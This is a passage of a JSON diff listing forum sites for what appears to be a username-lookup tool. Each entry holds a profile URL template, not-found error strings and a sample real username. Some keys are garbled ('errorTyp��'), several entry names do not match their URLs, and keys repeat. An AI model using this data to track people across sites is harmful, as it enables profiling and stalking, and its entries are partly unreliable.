"Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "bad_site": "" + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forums.sabnzbd.org", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_saddoboxing": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registere", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}", + "urlMain": "https://www.saddoboxing.com", + "usernameON": "Beanz", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Forum_safakulevo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://safakulevo.ucoz.ru/index/8-0-{}", + "urlMain": "https://safakulevo.ucoz.ru", + "usernameON": "ninokids", + "bad_site": "" + }, + "Forum_sailboards": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://sailboardsforum.com", + "usernameON": "Arf", + "bad_site": "" + }, + "Forum_sailingforums": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://sailingforums.com/members/?username={}", + "urlMain": "https://sailingforums.com", + "usernameON": "sweetime", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_sailnet": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.sailnet.com/members/?username={}", + "urlMain": "https://www.sailnet.com", + "usernameON": "colemj", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_saintsrowmods": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.saintsrowmods.com/forum/members/?username={}", + "urlMain": "https://www.saintsrowmods.com", + "usernameON": "elchuy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_salekhardnews": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 